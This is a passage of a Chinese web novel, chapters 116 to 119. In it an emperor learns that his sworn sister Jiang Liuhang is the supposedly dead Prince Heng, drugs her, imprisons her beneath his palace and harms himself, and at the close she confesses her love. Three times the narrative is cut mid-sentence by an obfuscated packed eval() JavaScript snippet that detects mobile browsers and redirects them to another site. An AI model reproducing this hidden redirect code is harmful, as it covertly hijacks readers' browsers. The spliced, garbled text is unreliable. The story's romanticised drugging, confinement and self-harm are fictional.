裴佑和冯简都下意识地偷瞄姜六航,心中都道:“皇帝这是在跪心中的岳父岳母,可是,即使岳父岳母,首先也是臣子,皇帝也不用下跪吧?” 姜六航却是惊了一下后很快释然了。 她对皇权没有这时代的人那样的敬畏,在她的想法里,大哥和她是结义兄……妹,她的父母,就是大哥的父母,大哥跪一下也没什么值得大惊小怪的。 两道偷摸摸的目光投到她身上。 姜六航有些疑惑。 裴佑偷瞄她,她不奇怪,她知道裴佑脑子里在想什么,可是冯简为什么偷瞄她? 坟前,秦信认认真真地磕了三个头,然后拿起带来的纸钱一张张地放到未熄灭的火堆里。姜六航和裴佑带来的纸钱还没烧完,这时也跪了过去接着烧。冯简先在坟前磕了头,然后也加入了烧纸的行列。 烧完纸后,四人一同骑马回城。 丞相府和小裴国公府不在一个方向,却距离皇宫很近。进城后,秦信让裴佑自去,说他顺便把姜六航送回去。 裴佑只得先走了。 剩下三人往丞相府去。 皇帝一路沉默,姜六航有心说说话缓和气氛,可是姜指挥和皇帝可是一点也不熟,她一时之间竟然想不出恰当的话题。 而且她也怕说错话。 最后干脆放弃了。 好在马行得快,不过一刻多钟就到了丞相府大门口。 姜六航吁了口气,下得马来,望了望皇帝,习惯性地客套:“皇上,您要进去坐坐吗?” 秦信坐在马上,微微俯身朝着她道:“不了,你进去吧。” 姜六航仰着头,正好对上投下来的目光,因为马上的人背对月光,她看不太清那里面的神色,只觉得很是幽深,定在她身上。 “那谢谢您送臣回来。” “嗯。”那人的声音在月色里显得有些压抑,“今天回来得晚了,你身体不好,好好休息,明天不用去上早朝了。” “好。” 见皇帝直起了身子,再没说话的意思,姜六航行了一礼:“皇上,臣去了。”然后转过身子,朝府门走去。 守门的人听到叩门声,赶紧打开门,把自家大姑娘迎入。他们看见了外面阴影里的两个人,但没在意,等大姑娘进来,就把门关上了。 秦信盯着那闭上的门,眸中暗色翻涌。 想紧紧地拥住她,最好是嵌进骨肉里。 想唤她无数声,“六航”、“六六”。 可从得知她是六航,两个月以来,不敢接近她,不敢和她说话。 怕自己克制不住,露了行迹。 只有在早朝时,趁她不注意,偷看一两眼,缓解心中的渴望。 皇帝伫马在丞相府前,凝望着那扇衡王刚刚进去的大门,良久未动,冯简不敢出声,默默地等候。 终于,皇帝拉转马头,策马离去,他连忙跟上。 而在旁边赵侍郎的宅子里,二楼的窗口,悟尘瞪大了眼,满面惊愕。 他被朝廷遣散后,没有回和州,也没进京城的寺庙,自己找了个地方住下。今天赵侍郎的小儿子受了惊,请他来收魂,谁知就见到了皇帝送女子进府的这一幕! 皇帝那神态,分明对那女子有情。 可皇帝对衡王的执着,他最是知道。 除非,那女子就是衡王! 116. 第 116 章 北郊祭拜过后几天,这天傍晚,姜六航从皇宫出来坐上马车往家里去。 这是她第一次上朝坐的马车,如今已是她专用。她吃了几块车子里备着的点心,掀起车帘往外望去。马车行驶在京城主道中间的车用道上,两边是往来的人群。有穿着富贵的,也有穿着普通的,或专心赶路,或在街道两旁的店铺进出闲逛。 人们的脸上大多轻松愉悦,完全不同于旧朝末年的悲哀惶惧和麻木。 姜六航观察着那些男女老少,看得津津有味。 这是她参与一步步建起的大夏啊。 忽然,她在人群中看见一张脸,相貌隽秀,一双眉毛极黑极浓,分明是她去年在庙中看过见过的一张脸——方三。 姜六航大吃一惊,凝目望去。 一个二十七八岁的青年提着一篮花在叫卖,和姜六航的视线对上,很快地眨了下眼睛。 “停一下。”姜六航对车夫道。 下了马车,姜六航径直走到卖花的青年面前:“这花怎么卖?” 青年给她介绍几种花的特性和价格。 姜六航选了几枝花,付了钱,上马车后拉下车帘,摊开手心,露出握着的一个纸团。那时刚刚方三悄悄塞给她的。 展开纸,上面写着:明日午时北郊衡王墓前见。 明天,正是休沐日,不需上朝。 看过纸条后,姜六航把它撕碎,放到袖子里,准备等会儿找个地方扔掉。 同时,她的脑中在急速思索。 方三特意约在假衡王墓前见面,这是隐晦地告诉她,知道她是真衡王。 这神偷怎么认出她的?想和她说什么? 正好,她要拜托他去查一查今禾姐的消息。 第二天早晨,姜六航正要出门,丫鬟来报,悟尘大师求见。 “悟尘大师?”姜六航奇怪地问。 她和这位大师从无来往,而且,她知道皇帝把所有原来召集到京城的和尚道士都遣散了,包括悟尘大师在内。这会儿来找她干什么? “是的。”丫鬟回道。 “把他请到客厅。” 姜六航赶到客厅,打算见过悟尘后再去北郊。 和尚正坐着品茶,听到动静抬头望来,随即起身,合掌行礼:“姜指挥。” “悟尘大师请坐。”姜六航还礼,坐在主位,直接问道,“大师来有何事?” 悟尘望了一眼立在主位后的丫鬟:“贫僧有很重要的事和姜指挥说,不宜入第三人之耳。” 姜六航挑了挑眉,让丫鬟下去:“现在可以说了吧?” “姜指挥可知,皇上召贫僧到京城是为了什么?” 姜六航顿了顿,缓缓道:“招魂?” “不。”和尚声音中带着一股幽深,“是移魂。” 姜六航倏地抬眼,直盯向他。 “皇上让贫僧把衡王的魂魄移到选好的人身上,前两个月,贫僧一直在北郊那座衡王墓旁做这事。”和尚目中闪着奇异的光,“姜指挥若是不信,可以去查一查。” —— 就在姜六航和悟尘会面时,谢思礼带着卷宗进了勤政殿。 “皇上,查清了去年秦修撰被刺事件。” 秦信搁下朱笔:“是谁主使?” “是裴尚书。” 秦信并不觉得意外:“证据呢?” 谢思礼把卷宗呈上,在皇帝翻看的时候,一边说道:“去年臣查了一个月没有进展,因秦修撰说只和裴家结仇,所以后来臣把调查重点放到了裴尚书父子身上。在调查他们的异动时,发现去年春,裴尚书曾派出一队人马查找秦修撰的踪迹,也是以此为突破口,顺着查下去,发现刺杀秦修撰时死去的杀手中正有一个是那队人中的。” “去年春?”秦信的声音里带着显然的冷意。 “是。”谢思礼低头应道。 “那时朕尚不知,在这世上,朕还有一个表兄。”秦信嘴角挑起一丝没有温度的弧度,笃定地道,“裴祥光知道了,却不告知朕,暗中查找,那时就动了杀心。” 他敲了敲桌子:“谢尚书,你说,他为何对素未谋面的人起杀心?” 谢思礼沉默片刻,道:“臣不敢妄言。” 秦信倒也没逼着她说,又重新去翻那卷宗,最后合上:“确定那两个在牢中被灭口的杀手不是裴祥光动的手?” “臣确定。” “那是谁?还是没查出一点线索?” “臣惭愧。”谢思礼躬身,“臣会继续追查。” 秦信若有所思:“能在那样各方关注的情况下灭口,这人本事不小,或许就是这些年给外面通消息的人。”他垂眸思索了一会,道,“裴祥光这边你不用管了,我会让锦衣卫盯紧他,你暂时不要把他刺杀秦修撰的事传出去。” “是。” 谢思礼应下,迟疑了一下,“皇上,臣调查那队裴尚书派出搜寻秦修撰的人马时,查到了几件有关秦修撰奇怪的事。” “哦?”秦信挑眉,示意她继续说。 “秦修撰在十年前买下一块荒地,后来发现地下有优质的高岭土,由此暴富。之后他在经商时,又发生数次这样的巧合……”谢思礼详细说着这些巧合。 “他入京参加国考前,花大价钱请了一批江湖高手护卫,家里三个人,日夜身边都有护卫跟着,寸步不离。他还花重金购买了一把精巧的袖箭,交给妻子练习……” 就像是预先知道会遭到刺杀。 这话谢思礼没明说出来,但言下之意很明显。 她不信鬼神之事,但秦修撰的举动实在让她迷惑。 她只说事实,其它的,让皇上自己去判断。 —— 秦实今天趁着休沐,正准备带着妻儿出门游玩,宫里来了人,传他入宫。 他走到勤政殿门口,恰好碰见谢尚书,两人见礼。他觉得谢尚书看着自己的眼神有点奇怪,但又说不出哪里奇怪。但没时间多想,他赶紧进殿。 殿里只有皇上一人。 “皇上。”他走到桌前行礼。 桌后好一会没回声,他这才觉出气氛有些怪异,却不敢抬头去看,他感觉到一道压迫的目光在身上移动。 “你为何能预知以后的事?” 这声入耳,饶是秦实两世为人,历经大风大浪,瞬间也忍不住变了脸色。他猛地抬头,就见一双锐利的眼盯着他,似乎要看进他心里。 “你的魂魄去过将来?”秦信缓声问道。 悟尘曾说过,魂魄可穿过空间和时间,表兄或许有奇遇。 秦实在皇帝的目光下,额上渗出一层汗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170567|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他再想不到,表弟竟然窥破了他最大的秘密。这个秘密他藏在心底多年,连妻子也不敢告诉。 “皇上。”他跪了下去,颤声道,“臣不是去了将来,而是重活了一世。” 秦信眼中闪过一丝讶然,很快掩去,问:“你上世是在去年底被裴祥光派人杀死的?” “是的。” “这世呢?是什么时候回来的?”秦信问。 若是出生时即记得上一世的事,不会等到十年前才行动。 “是在……姨母去世的那一日。”秦实攥紧手指。 殿内安静了片刻,然后声音响起:“你回去吧,这事朕不会对人说。” “谢皇上。”秦实磕了一个头才站起。 皇帝替他瞒下这件惊世骇俗的事,今后,他们一家能平静地生活下去。 快走到门口时,他又突然转身,道:“皇上,您要小心裴祥光,上一世,他见您被逼得后退,暗中投靠了杨承,给他传递和州军的消息,致使和州军大败,再无抵抗之力,最后退到和州七宝县,在杨承军队攻入时,纵火而……”最后一个字他含在喉间,没说出来。 秦信诧异地看向门口的人。 杨承? 他不是六年前就被六航杀了吗?上一世竟是最终赢家?自己竟然在去年年底之前就死了? “上一世朕只活了二十七岁吗?”秦信随口感叹了一句。 “不是,皇上您到七宝县是二十几年后的事。” 秦信瞳孔骤缩:“你不是去年就被裴祥光害了吗?怎会知道二十几年后的事?” “臣死之后,魂魄不知为何,飘到了皇上身边,直到皇上过后,臣一睁眼,就到了这一世。” 先前已经听到重生那样匪夷所思的事,再听说表兄的魂魄飘在他身边二十几年,秦信并没有很惊讶,他只是很快地想起了一事,不由得浑身绷紧,手紧紧握住匕首把柄。 “那你知道,衡王的病治好没有?”他问出这句话,屏住呼吸。 “臣的上一世,没有衡王。” 秦信一时没明白,或者说,是下意识地不敢相信:“什么意思?” “臣的上一世并没有出现衡王这样一个人。” 秦信抿了抿唇。 难道上一世六航没有投入和州军? “那姜丞相的长女呢?她的病好没有?” 秦实目光凝滞了一下,随即像没察觉到什么,回道:“上一世,姜丞相只有一个女儿,没有姜指挥这个人。” “是长女没找回来?” 秦实摇头,声音清晰地道:“皇上,上一世,王院长只生下一个女儿。” 桌后的人脸色骤然大变,终于明白“没有姜指挥这个人”这句话的意思,他不由自主地挺直上半身,一字字地再次确认:“你是说,上一世,姜丞相和王院长只有一个女儿,没有一个女儿刚生下来就遇到山匪失散了?” 秦实肯定地道:“没有。” 秦信脑海里一片空白,继而升起巨大的恐惧。 为何上世没有六航? 她是这世上天派下来拯救世人的吗? 现在任务完成,上天要把她召回去,所以才让她中了连鬼手神医也只有六成把握去除的丹毒吗? 六航的毒,是不是治不好了? 117. 第 117 章 待悟尘大师走后,姜六航按原计划骑马出城,半个多时辰到达“衡王”墓。她在墓前下马,视线定到路旁一棵大树:“出来。” 从树后出来一个青年,正是和她相约的人。 和昨天见时一个模样。 传闻神偷方三面目千变万化,从未以同一副面目出现在世人面前,可他今天却未改变容貌,应该是方便自己辨认。 姜六航正这样想着,就听得方三道:“衡王,这是我原本的样子。” 这竟然是方三的真面目,原来去年庙里碰面他就是用的真面目,姜六航好奇地打量了几眼,也未多想,问道:“上次在盘云县你就认出我了?” 方三摇头:“只是猜测,昨天见面你认得我的样子,才确定你是衡王。” 姜六航恍然,昨天见到方三的那一瞬,因为正好要寻方三探听消息,所以没有掩盖惊讶的神色,被方三瞧出了端倪。 “你找我什么事?” “我是想告诉衡王,不用担心宋楼主,她已经悄悄出海了,皇帝捉不到她。” 姜六航大松一口气。 原先打算请方三帮忙探听今禾姐的消息,不想他早就探到了今禾姐的踪迹。 只是今禾姐被逼得出海,让姜六航心里不免愧疚。 是她连累了今禾姐。 “你知不知道,宋楼主怎会提前得知朝廷要围剿百晓楼的消息?”姜六航问。 这是她一直不解的问题。 那时裴佑率兵前往,目的是保密的,只有裴佑一人知道,而且是以急行军的速度,就是为了防备百晓楼得到消息逃走。可今禾姐怎会提前许久就知道,并且确定大军是冲着她来的? 方三既然能探到今禾姐的踪迹,或许知道原由。 “是我让小灰去报的信。”方三进一步解释,“那一年你挑战武林高手,我曾见到宋楼主跟着记载,知道两位是好友,所以看到小裴国公带兵往百晓楼的方向去,马上想到是皇上要捉拿宋楼主逼问衡王的消息,于是赶紧写了信让小灰捎去。” 姜六航朝他郑重行了一礼:“多谢。” “不用不用,我的命都是你救的,这点小事,举手之劳。” 想到怎样救了这人命的姜六航:“……” “哦,我还要把将军令给你。”方三往袖子里掏去。 “将军令?”姜六航讶然。 “那时我让小灰送信,紧接着也赶到了,见到小裴国公在百晓楼到处挖地。我恐怕你在京城埋了东西被挖出来,于是先一步赶到京城,在王府火场废墟上挖出了将军令,还准备到两位居士的坟前挖一挖,朝廷就来人了,我没来得及。” 姜六航:“……” 方三掏出一个小盒子,正要递过来,路的那头传来密集的马蹄声,像有千军万马过来。 两人朝那头望去。 百来骑朝这边疾冲而来,他们穿着轻甲,身上配着刀剑,气势汹汹,马蹄重重踏在地面,腾起一片灰尘。 中间的一人,黑色大氅张开,向后扬起。 片刻间,这群人已要到近前,面貌清晰可辨。 是御林军! 被簇拥在中间的那人是皇帝! 姜六航不及多想,喝道:“快走!骑我的马!” 方三顺手把盒子塞回衣袖,纵身跃到马上,转眼已在消失在树木之后。 御林军分出一部分去追赶逃走的人,剩下的把姜六航团团围住。秦信从黑影背上下来,朝她走过来,途中目光一直紧紧地盯着她。 那目光里的情绪再无遮掩,像汹涌的海浪朝她涌过来。 一瞬间,姜六航明白了—— 大哥认出了她。 心中一时涌上无数滋味,酸痛、苦涩、忐忑,她不自觉双手绞在一起,声音干哑地唤道:“……皇上。” 秦信嘴唇颤动了一下,随即抿住了,拉成了一条直线。 他继续往前,到姜六航面前三步仍然没止步,姜六航忍住没后退。 直到两人之间只有一步的距离,秦信停下,向前倾身,举起手猛地朝姜六航袭来。 那手上覆着一块展开的红帕子,姜六航看清了手的来势,知道要怎么躲,可她的身体反应没那么快,才刚刚要摆头,帕子已盖上了她的口鼻。 一股轻淡的药味冲入,姜六航陷入黑暗之前奋力朝几乎贴到她脸上的人瞪了一眼。 从来只有这人被她制住的份,今天这人却趁她失了内力为所欲为。 反了天了! —— 姜六航再醒来时,一睁眼看到青色的帐顶,再一转头,看到床柱上雕刻的花纹,恍惚觉得有些熟悉。 缓了几息,她想起来,她被大哥迷晕过去了,而这张床,似乎是她在梁州睡过的。 姜六航一个翻身坐起来,转身朝床头摸去,按下一处,再推开,果然出现了一个暗柜。她伸手进去,掏出了一件、两件……一共六件衣裳,全是她穿过的。 她盯着看了一会,又一一原样叠好,放回原处,然后关上暗柜。 拉开帐幕,目光四下一扫。 是一个四五十平米的房间,里面空无一人,桌案上放着一盏珊瑚木座屏式桌灯,壁龛中还有几盏玉勾云纹宫灯,明亮的光线洒在房间。 浅淡的檀香从靠墙立着的金漆梅纹香炉传出来,萦绕在整个空间。 姜六航的目光被墙上挂满的画吸引。 那画上都是她。 各种姿态,各种表情,栩栩如生。 下了床,穿上鞋子,姜六航愣愣地走到画前,越发看得真切。 灵动的杏眼,英气的眉毛,衣裳上的束带、绣纹,一笔一画,流畅自然。纵是姜六航不懂画也看得出,画画之人技艺高巧,且画得十分用心。 这是谁画的? 这又是哪里? 姜六航视线转到关着的门,正要去探索一番,突然顿住。过了一会儿,头转向刚刚她视线扫过时不经意掠过的一幅画。 是一幅出浴图。 山间温泉的氤氲白雾中,一幅身躯若隐若现,唯有小臂上的那颗红痣格外显眼。 这是……谁画的! 画着这画时,他(她)的脑子里在想什么? 若是个女子则罢,若是男子,非得狠揍他一顿不可! 自己现在打不过,让姜大人派人去揍。 就在姜六航满心怒气,想着要把那人揍成什么样子的时候,门开了。 秦信出现在门口,提着一个多层的大食盒。 两人目光相碰,秦信率先移开,垂了眸,反手关上门,然后走过来,把食盒揭开,从里面取出一盘盘的菜,一边温声说道:“饿了吧?来吃饭,都是你喜欢吃的菜。” 说着摆好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170568|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜,他抬起头来,面上是姜六航熟悉的温润笑容。 他的态度,仿佛两人从未分开数年。 就像以前的一个平常日子里,他喊着她来吃饭。 但姜六航敏锐地察觉出他身上压抑的气息,深沉的、暴躁的,被强压在平静的表面下,而刻意地营造出平和的假象。 昏过去之前,姜六航生气地想着等醒后一定找这人算账,这时却不知为何却满是心虚,那质问也出不了口。 她迟疑地走过去,在桌前坐下,张了张嘴,想问问抓到方三没有。 那人在她右侧坐下,夹了一筷子鱼放到她碗里:“尝尝看,味道如何?” 姜六航咽回了喉咙的话,吃了一口,道:“很好吃。” “那就多吃点。” “嗯。”她决定,吃完这顿饭再说。 大哥既然知道了她的身份,抓到了方三,也不会对他怎样。 放下此事,姜六航转而开始考虑,如果大哥问起她的病情,该怎么答。 可出乎姜六航的意料,这人一句也未提到她的病情,吃饭的过程中很少说话,只偶尔问她菜可合口味。 吃完后,他也没有叫人进来收拾,而是亲自把碗盘装回食盒。 “你在这里休息,缺什么,想要什么,告诉我,我给你拿来。”他提起食盒,一副要走样子。 姜六航愕然,不知他是何意思。 “我和二妹妹约好了,下午去望江楼游玩。” “以后再去吧,你现在需要休息。” 姜六航默默地看着他。 秦信面上笑容不变,只是眼睫微微垂下,避开了她的视线。 姜六航看了他一会,视线缓缓落到他提着食盒绷得发白的指节上。 “我先走了。” 在姜六航的注视下,秦信大步走到门口,打开门,出去后又快速地把门关上。在这中间,他没有回头看一眼。 在门打开的一瞬间,姜六航瞥见外面是一个封顶的通道。 随即门后响起“咔嚓”一声,接着脚步远去。 房间里只剩下姜六航一人,安静下来。 这是,把她关起来了? 呆呆地站了足有三四分钟,姜六航不可置信地走到关着的门前,伸手握住把手,拉了拉,没拉开,外头响起铁器撞击在门上的声音。 门被锁住了。 —— 丞相府是在未时发现姜六航失踪的。 这天两姐妹约好去游玩,可到了约定时间,姜六航还未出现。姜持起先没有在意,以为姐姐有什么事耽搁了,可过了半个时辰还不见人,她意识到了不对劲。 耽搁这样久,姐姐应该会派人来说明情况。 正好今天姜丞相在家,姜持连忙把这事告诉他,姜丞相当即安排人到姜六航常去的几个地方寻找,都没找到。 就在姜府众人焦急不已的时候,内侍来传周大夫进宫,道:“姜丞相,皇上派姜指挥外出执行一个紧急任务,恐怕她身体出问题,让周大夫跟着照顾。” 原来女儿被皇上召去了,姜子循松了口气,问:“是去哪里?” 内侍摇头:“奴才不知。” “去多久?” 内侍还是摇头。 姜子循想着,女儿接的任务大概是机密,于是没再多问,让人叫来周大夫,跟着内侍去了。 118. 第 118 章 这天晚饭依旧是秦信送来的。 依旧只问姜六航可有什么需要,要不要看什么书,或是其它消遣,却绝口不提其它的事,也不说放人。 吃完晚饭,和中午一样,秦信把碗盘装回食盒,提起来,说了一声“你好好休息”就准备朝门口走去,姜六航却顾不得了。 难道她今天要在这里过夜? “皇上。”她叫道。 那人的背影顿了片刻,显露出极端的抗拒,声音喑哑地道:“我还有许多奏折要批阅,有什么事,以后再说。你好好休息。”说着大步往前跨去。 姜六航:“……” “皇上!”她急道,“我回家休息。” 秦信手拉上了门把手,头也不回地道:“这里安静,这些日子你就在这里休息,等养好身子再说。” 他的声音里含着一丝不易觉察的哀求,但姜六航被他的话惊着了,没有听出来,只满耳回荡着“这些日子”、“就在这里”。 大哥竟然打算把她关在这里? 听这话,还不止一日两日,要直到她身体好了才放她走? 情况好的话,她体内毒性完全去除要到九月,现在才五月,难道大哥要把她关在这里整整四个月? “不行!” 秦信却像没听到,拉开了门,一步跨了出去,再转过身关门。 姜六航见势不对,连忙跑过去,跑到边上时,那门已经关了一大半了,她连忙伸手拉住。可她现在的力气抵不过门外的人,门渐渐的合上,只剩一条缝。 姜六航突地伸出脚,卡在缝口。 门停住了。 姜六航赶紧把门往这边拉,没拉动。 外面的人没再往那边拉门,却也不许姜六航把门拉开。 两人在门里门外僵持住了。 “大哥。” 一声唤出,姜六航敏锐地察觉到门外的力道卸了一瞬,她陡地使力,门被拉开了,外头的人猝不及防,随着跌进来。 姜六航闪身避开,趁机往外走。 人影从身边过去,秦信脑袋“轰”的一声炸了。 六航要走了! 这一走,是不是就从此在世上消失? 一整天积累的恐惧在此刻达到顶点。 上午陡然听闻上世没有六航,他当即去寻六航,只有马上见到人他的心才能安定下来。找了几个地方才得知,六航往北郊去了。 是见过悟尘后往北郊去的。 那一瞬,他如坠冰窖。 悟尘为什么去见六航?说了什么?六航又为什么往北郊去? 是去寻那死囚吗? 如果六航知道了他曾做那样的事,定会深深地厌恶他。 他受不了,六航用厌恶的眼神看着他。 带着御林军追到北郊,却见六航在和人相会。那人见到他来就跑,被抓到后稍一审讯就道出了实情,原来竟是方三。 他那时脑子里只有一个念头:六航和方三是不是在谋划着远走? 他知道这个念头实在荒谬。六航怎会随意丢下家人?可他止不住心头泛上的恐慌,只有六航在这里,完全在他的掌控之下,他才能稍稍平静。 姜六航一只脚才踏出去,随着物件坠地以及“叮叮当当”的脆响,右手腕忽然被握住,那样紧,像铁钳套住,接着,她听见兵器出鞘的声音,愕然回头。 寒光在眼前一闪,右手里被塞进了一物。 她低头,手里握着的,却是那把她送给大哥的匕首的刀柄。 “六六,杀了我,你再走。”嘶哑的声音贴在她耳边响起。 那人转而握住她的手,五指张开,包裹住她的手掌,把刀尖往胸口刺去。 姜六航骇了一跳。 怎么动起刀子了?这是要干什么? 她连忙使力往回拉,可止不住刀尖的去势,眼看着它一寸寸地逼近胸口,刺破衣裳,继而洇出一点鲜红。 疯了! 对面人面上的笑容已荡然无存,眼眶通红,里面泛着血丝,呼吸急促地喷在她的脸上,俨然一幅失去理智的模样。 他仍然没有卸力,还在握着她的手往前递,衣裳上的一点鲜红逐渐扩大,格外刺目。 “放手!”姜六航喝道。 可那人充耳不闻。 姜六航猛地抬起膝盖往他下身撞去。 那人闷哼一声,不由自主地松开手,匕首“叮当”掉到地上。 “伤得怎样?”姜六航去扶他。 可还没碰到人,身体忽地腾空而起。懵了一下,姜六航才反应过来,她被大哥抱起来了,以抱小孩的姿势,两手交叉托在她的臀下。 进门后,大哥把她放下,她才说出一声“你……”,那人已迅速出门,“砰——”地一声把门关上了。 接着听见门上锁的声音。 她扑上去拉门,果然拉不动,被锁住了。 “大哥!”她拍着门,“我们谈一谈。” 门外没有应答,急促的脚步声远去。 姜六航停下,怔了片刻,一低头,却见衣裳下摆上染着血迹。 那是从大哥胸口流出来的。 —— 大约过了两刻钟,门再一次被推开。 姜六航连忙看过去,却是冯简。 他拿着扫把簸箕,进来后目不斜视,清扫门口打碎的碗盘。 姜六航走过去,望了望打开的门。 不怕她逃走吗? “衡王,你出了这门也出不去,那头还有一道门,刚刚皇上吩咐上了锁。”冯简低着头扫地,一边道。 “这是哪里?” “勤政殿的地宫。” “房里的画,谁画的?” “皇上画的。” 姜六航心口一跳,控制着眼神,不往那张出浴图飘去。 爱总伴着欲,今天中午大哥来过后,她已经猜到这些画是出自大哥之手了。 大哥毫不遮掩,把这些画摆在她面前,几乎是明示了对她的情意。 可是,她还不能确定是否能留下来。 如果必须离开,她希望大哥重新寻得一份感情。 没得到回应的感情,放下应该容易些。她不能自私地困住大哥。 但大哥的状态让她不安。 “皇上为什么要把我关在这里?是我骗他,生气了吗?” 这样问着,可姜六航直觉不是。 大哥握着她的手把匕首刺入胸口时,她感觉到大哥的情绪,是浓浓的害怕和绝望。 冯简已经把门口打扫干净,垂手站着:“没有生气。” “那为什么?” “……衡王,您自己去问皇上。” 说罢,他不顾姜六航呼唤,提着扫把簸箕跑了。 姜六航追了几步,可哪里追得上。冯简用上了轻功,几下跑没了影。 姜六航颇有些气急败坏:这主从两个,怎么一个样子! 她顺着通道走到尽头,果然有一扇厚重的木门堵住了。若她是原先的将军,一掌下去,这木门自然四分五裂。可现在,她只能望门兴叹。 —— 其后的三天,秦信一直没有露面,冯简每日按时送饭,清洁房间,还送来了姜六航每天要吃一次的药丸。 姜六航早把所有的画都反挂上了。 时时对着这么多个自己,她感觉有些渗人。 瞧不见画后,冯简再进来时明显自在起来,不像第一次那样拘谨,一眼都不敢乱瞟,生怕看见不该看的东西。 姜六航向他打探消息,除了“为什么要把我关在这里”,对于其它问题,冯简倒是有问必答。 于是姜六航知道,大哥得知她的身份后,马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17175604|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上想到给她治病的周大夫就是鬼手神医,把从庸叔叔召到了宫中询问了她的病情。 从庸叔叔和盘托出,告诉大哥,她体内的毒性要下个月才能确定能否去除,如果不能,还有一位高人可以治好她的病,只是她需要进入高人居住的山谷,并且此生都不得出谷。 她也知道了,大哥抓住了方三,稍一审讯,方三就全招了。 她还知道,自己身份暴漏是因为武直,最后确认是因为谢思礼。 “你告诉皇上,我要见他。”姜六航道。 她总不能真待在这里四个月。 “衡王,皇上不想见您。”冯简为难地道,说罢连忙走了。 这三天都是这样,只要姜六航一提要见皇帝,他就连忙逃走。 姜六航毫无办法。 她只能让冯简转告皇帝,请求他撤回对百晓楼的追捕。 又说到方三,“他没干坏事,在盘云县的时候还多亏了他搬来救兵,请皇上把他放了。” 还道:“在我的病治好之前,请皇上不要公布我的身份,以免结果不好,引起新的震荡。如果我要进山谷,就让衡王的事就此慢慢沉寂下去。” 冯简再来的时候,告诉姜六航,皇帝都照办了。 姜六航还在苦苦思索怎样说服大哥放她出去,第四天晚上她睡下后,冯简忽然来了。 “衡王,你劝劝皇上吧。”冯简面色悲痛、惊慌,“皇上他又在胳膊上划刀了。” “划刀?”姜六航拢着匆忙披上的外套,“划什么刀?” 她想起四天前大哥握着她的手刺向胸口的刀剑,心中升起不好的预感,心脏一阵狂跳。 “去年开始,皇上他时常用匕首在胳膊上划一刀。但从盘云县回来后,皇上再没这样,今天却又划了一刀。” 姜六航震惊地问:“时常?” 那次在大哥身上闻到血腥气,就是胳膊上的伤口散出的吧? “皇上为什么要在胳膊上划刀?”她着急又不解。 冯简默默地看衡王一眼,没有回答。 这几天他从衡王这里回去,皇上每次都要详细询问衡王的情况,说的话,说话时的表情,每一个细节都不遗漏。 听说衡王吵着出去,皇上一天比一天沉默。 他早觉出不好,今天终于出事了。 姜六航不知道这些,但触到冯简的视线,她陡然全部明白了。 是因为她。 是因为思念,只有疼痛才能缓解。 就像她回忆起爹娘时,总不自觉地握紧手掌,指甲刺破掌心。 可现在她在大哥眼前,大哥又为什么伤害自己呢? 是害怕。 她在大哥身上感觉到浓浓的害怕。 害怕她离开,把她关在这里。 可还是不安,到了不能控制情绪的地步。 这一刻,姜六航产生了怀疑。 她为了让大哥不陷入太深,隐瞒自己对大哥的感情,真是对的吗? 如果她离开,大哥真能更容易抽身,开始新的感情吗? 会不会反而留下遗憾? 换位思考,如果自己爱着一个人,即使没有以后,在当下,她也希望这个人告诉她,他也爱着她。 “你去告诉皇上,我要见他。” —— 当晚秦信没有来。 第二天早晨也没来。 只托冯简传话,说在忙,以后再来见她,让姜六航好好休息。 姜六航当机立断,绝食。 午饭端回去不久,秦信来了。 姜六航搬了椅子在他斜对面坐下,摆出长谈的姿势。 对面的人垂着眸,浓长的睫毛遮住了眼底的神色。 “大哥,我说了谎,那时在盘云县东山,援兵来的时候,我说的不是‘皇上,臣负圣恩’。” 119. 第 119 章 秦信猛地抬眼,眸光颤动:“不是说的这个,说的什么?” “说得是,大哥,我喜欢你。” 像一道雷劈下,秦信脑中嗡嗡作响,浑身的血流都像止住了。过了好一会,他闭了一下眼,哑声道:“是可怜我吗?” 姜六航:“?” “冯简昨天告诉你了,我在胳膊上划刀子,是吧?所以你可怜我……” “不是!”姜六航急道,“大哥,我是真的喜欢你!” 秦信摇头:“六航,你放心,我再不会那样了,你不需要担心我,好好养身体。” 这是仍然不信? 在姜六航的想象里,大哥听说自己表露情意,定然欣喜不已,然后两人互诉衷肠。 可她没想到,这人居然不信! 她又怎么证明自己真的喜欢他? 思忖片刻,姜六航拖着椅子靠近对面的人,直到脚抵着脚才停下,然后伸出手,紧紧地抱住他。 过去许多次,她都想这样做。 如今终于不用顾忌。 被抱着的人似乎僵住了,一动不动,可姜六航身体贴在他的胸口那处,感觉到他的心脏在激烈跳动,又重又急,传递过来。 她的心也跟着重重跳起来。 